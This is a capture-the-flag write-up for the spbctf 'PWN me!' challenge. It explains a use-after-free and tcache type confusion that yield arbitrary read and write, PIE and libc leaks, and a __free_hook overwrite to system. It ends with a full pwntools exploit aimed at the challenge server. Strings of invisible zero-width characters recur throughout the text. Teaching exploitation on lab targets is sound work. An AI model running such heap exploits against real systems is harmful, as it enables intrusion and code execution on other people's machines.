← Back to Writeups
CUSTOMMediumpwn

PWN me!

XESXOR9/2/20267 min read
#pwn#custom#medium#arbitrary_read_via_got#arbitrary_write#dangling_pointer#free_hook_overwrite#function_pointer_overwrite#libc_identification_libc_rip#pie_leak_via_funcptr#system_movaps_alignment_pitfal#tcache_reuse

PWN me!

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: arbitrary_read_via_got, arbitrary_write, dangling_pointer, free_hook_overwrite, function_pointer_overwrite, libc_identification_libc_rip, pie_leak_via_funcptr, system_movaps_alignment_pitfall, tcache_reuse, type_confusion_via_uaf, use_after_free

Summary

Task: menu-driven heap manager (strings + ints) with a classic Use-After-Free — remove_* frees chunks without nulling the slot pointer. Solution: alias a freed 0x10 string struct with an int struct (tcache reuse) to build arbitrary read/write, leak PIE via a stored funcptr and libc via GOT %s, then overwrite __free_hook with system and free a '/bin/sh' buffer (avoiding the glibc 2.27 movaps alignment crash on a direct funcptr call).

PWN me! — spbctf

Description

PWN me! nc 109.233.56.90 11721 Binary: https://pwn.spbctf.ru/files/uaf/uaf1/uaf1.elf

A menu-driven heap manager that stores two object types (strings and integers). The task is to escalate a Use-After-Free bug to a shell and read /flag.txt. There is no win function and PIE is enabled, so a full PIE + libc leak plus a code-execution primitive is required.

Challenge Overview

uaf1.elf is a 64-bit heap challenge. checksec shows every mitigation is on:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The binary is not stripped, which makes recon straightforward. It exposes a classic create/remove/print/edit menu dispatched from logic.part.0:

OptionFunction
1create_string
2remove_string
3print_string_info
4edit_string
5create_int
6remove_int
7print_int
8edit_int

Objects live in two global arrays: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • strings[0x20] @ 0x4060
  • ints[0x20] @ 0x4160

Recon

Object layouts

Both struct types are allocated with malloc(0x10), so both land in the same tcache bin (0x20) — this is the crux of the exploit.

String struct (malloc(0x10)):

+0x00  char*  buf     -> separate malloc(0x100) data buffer
+0x08  size_t len     -> strlen(buf)

Int struct (malloc(0x10)):

+0x00  uint64 value   -> the number the user entered
+0x08  void*  funcptr -> print_dec (0x1310) or print_hex (0x1330), chosen by base

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

create_int selects funcptr from the base you supply (10 → print_dec, 16 → print_hex).

Operation internals (from disassembly)

  • create_string: malloc(0x10) struct, malloc(0x100) buf, fgets(buf, 0x100), len = strlen(buf).
  • remove_string: free(buf); free(struct); — slot NOT nulled → dangling pointer (UAF). idx must be < 0x20.
  • print_string_info: if slot != 0: if buf != 0 print String data: %s (from [struct+0]) else NULL string ptr; then print String size: %llx from [struct+8]. → both an arbitrary read (%s) and a leak of [struct+8].
  • edit_string: if slot != 0 and [struct+0] != 0: fgets(*[struct+0], 0x100). → arbitrary write if the buf pointer is controlled.
  • create_int: malloc(0x10); scanf("%llu") into [struct+0] (value); set [struct+8] = print_dec/print_hex.
  • remove_int: free(struct); — slot NOT nulled → UAF.
  • print_int: rdi = [struct+0] (value); call [struct+8] (funcptr). → controllable indirect call funcptr(value).
  • edit_int: scanf("%llu") writes 8 bytes into [struct+0] (value). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Analysis

Classic Use-After-Free: remove_string and remove_int free their chunks without nulling the corresponding slot pointer, leaving a dangling reference.

Because both struct types are 0x10 (tcache bin 0x20), a freed string struct is immediately reused by the next create_int. This aliases a string slot with an int slot over the same chunk — a type confusion:

  • The int struct's value field ([C+0], freely writable via edit_int's %llu) overlaps the string struct's buf pointer.
  • The int struct's funcptr field ([C+8], a PIE pointer to print_dec) overlaps the string struct's len, which print_string_info happily leaks. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

That single alias gives us three primitives on the aliased chunk C0:

  1. Controllable buf pointer via edit_int(0, addr) → set [C0+0].
  2. Arbitrary read via print_string_info(0) → String data: %s on *buf.
  3. Arbitrary write via edit_string(0, data) → fgets into *buf.

Plus a PIE leak for free, since print_string_info prints [C0+8] (= print_dec, a PIE address).

Exploitation Steps

Phase 0 — Establish the alias

create_string(S0)  -> struct C0 (0x10) + buf (0x100)
remove_string(0)   -> free(buf) into tcache 0x100, free(C0) into tcache 0x20;
                      slot 0 now dangles to C0
create_int(0, 10)  -> create_int's malloc(0x10) returns C0

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Now string idx 0 and int idx 0 alias C0: [C0+0] = value (controllable), [C0+8] = print_dec (PIE pointer).

create_string(S1 = "/bin/sh\x00")  -> its 0x100 buf holds "/bin/sh" for later

Phase 1 — PIE leak

print_string_info(0)  -> "String size: <hex>" prints [C0+8] = print_dec
exe.address = leak - exe.sym['print_dec']

Phase 2 — libc leak (arbitrary read via GOT)

edit_int(0, free@got)    -> sets [C0+0] = S0.buf = free@got  (PIE-known)
print_string_info(0)     -> "String data: %s" reads *free@got = free@libc
libc.address = leak - libc.sym['free']

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

libc was identified via libc.rip using the low 12 bits of resolved symbols (free = ..a30, puts = ..aa0, malloc = ..140), pinpointing glibc 2.27 (libc6_2.27-3ubuntu1.4, Ubuntu 18.04).

Phase 3 — arbitrary write (__free_hook = system)

edit_int(0, __free_hook)     -> S0.buf = &__free_hook
edit_string(0, p64(system))  -> fgets writes system into *__free_hook

Phase 4 — trigger

remove_string(1)  -> free(S1.buf = "/bin/sh") -> __free_hook fires -> system("/bin/sh")

Then cat /flag.txt. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical Pitfall — the movaps alignment crash

The "obvious" path is to point print_int's indirect call directly at system: overwrite [C+8] with system and [C+0] with a "/bin/sh" pointer, then print_int runs call [rax+8] → system("/bin/sh").

This SIGSEGVs on glibc 2.27. At the indirect call site the stack is 16-byte misaligned (rsp % 16 == 8), and do_system executes a movaps against the misaligned stack, which faults. one_gadget candidates also failed here — their register/stack constraints were not satisfiable in this particular call context. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The reliable fix is to avoid the alignment-sensitive do_system entry path entirely: overwrite __free_hook with system and then free() a heap chunk whose contents are "/bin/sh". The free-hook dispatch is not alignment-sensitive, so system("/bin/sh") runs cleanly and yields a shell.

Local Testing Note

The target cannot run natively on Apple Silicon, so the exploit was validated locally under Docker amd64 emulation (ubuntu:18.04 = glibc 2.27) with socat publishing the binary on a TCP port. This confirmed the __free_hook approach (and the movaps crash of the direct-call approach) before firing at the remote. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Exploit

python
#!/usr/bin/env python3
# PWN me! (spbctf) - uaf1.elf  -> spbctf{REDACTED}
import time
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

exe = ELF('./uaf1.elf', checksec=False)
libc = ELF('./libc.so.6', checksec=False)   # libc6_2.27-3ubuntu1.4 (from libc.rip)
HOST, PORT = "109.233.56.90", 11721

p = remote(HOST, PORT)

def rc():
    time.sleep(0.25); return p.recv(8192)
def sl(x):
    p.sendline(str(x).encode() if not isinstance(x, bytes) else x); return rc()
def cs(d):   sl(1); return sl(d)
def rs(i):   sl(2); return sl(i)
def ps(i):   sl(3); return sl(i)
def es(i,d): sl(4); sl(i); return sl(d)
def ci(v,b=10): sl(5); sl(v); return sl(b)
def ei(i,v): sl(8); sl(i); return sl(v & (2**64-1))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def readp(a):
    """arbitrary read via S0: set S0.buf=a (int value), print_string %s."""
    ei(0, a)
    r = ps(0)
    d = r.split(b'String data: ')[1].split(b'String size: ')[0]
    return u64(d.ljust(8, b'\x00'))

rc()  # banner

# --- UAF: alias string struct C0 (idx0) with int struct I0 (idx0) ---
cs(b'AAAA')      # S0 -> struct C0 (0x10) + buf (0x100)
rs(0)            # free buf, free C0; S0 slot dangles -> C0 (tcache 0x20)
ci(0, 10)        # create_int reuses C0: [C0+0]=value(=S0.buf), [C0+8]=print_dec
cs(b'/bin/sh\x00')  # S1 (idx1): buf holds "/bin/sh" to free later
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# PIE leak: print_string size field = [C0+8] = print_dec
r = ps(0)
leak = int(r.split(b'String size: ')[1].split(b'\n')[0], 16)
exe.address = leak - exe.sym['print_dec']
log.success('PIE base = %#x', exe.address)

# libc leak: point S0.buf at free@got, read pointer with %s
libc.address = readp(exe.got['free']) - libc.sym['free']
log.success('libc base = %#x', libc.address)
assert (libc.address & 0xfff) == 0, "wrong libc"

# arbitrary write __free_hook = system (avoids system() movaps misalignment)
ei(0, libc.sym['__free_hook'])          # S0.buf = &__free_hook
es(0, p64(libc.sym['system']))          # *__free_hook = system
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# trigger: free S1.buf ("/bin/sh") -> system("/bin/sh")
sl(2); p.sendline(b'1')
time.sleep(0.4)

p.sendline(b'cat /flag.txt; id')
time.sleep(1.0)
print(p.recv(8192).decode(errors='replace'))
p.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍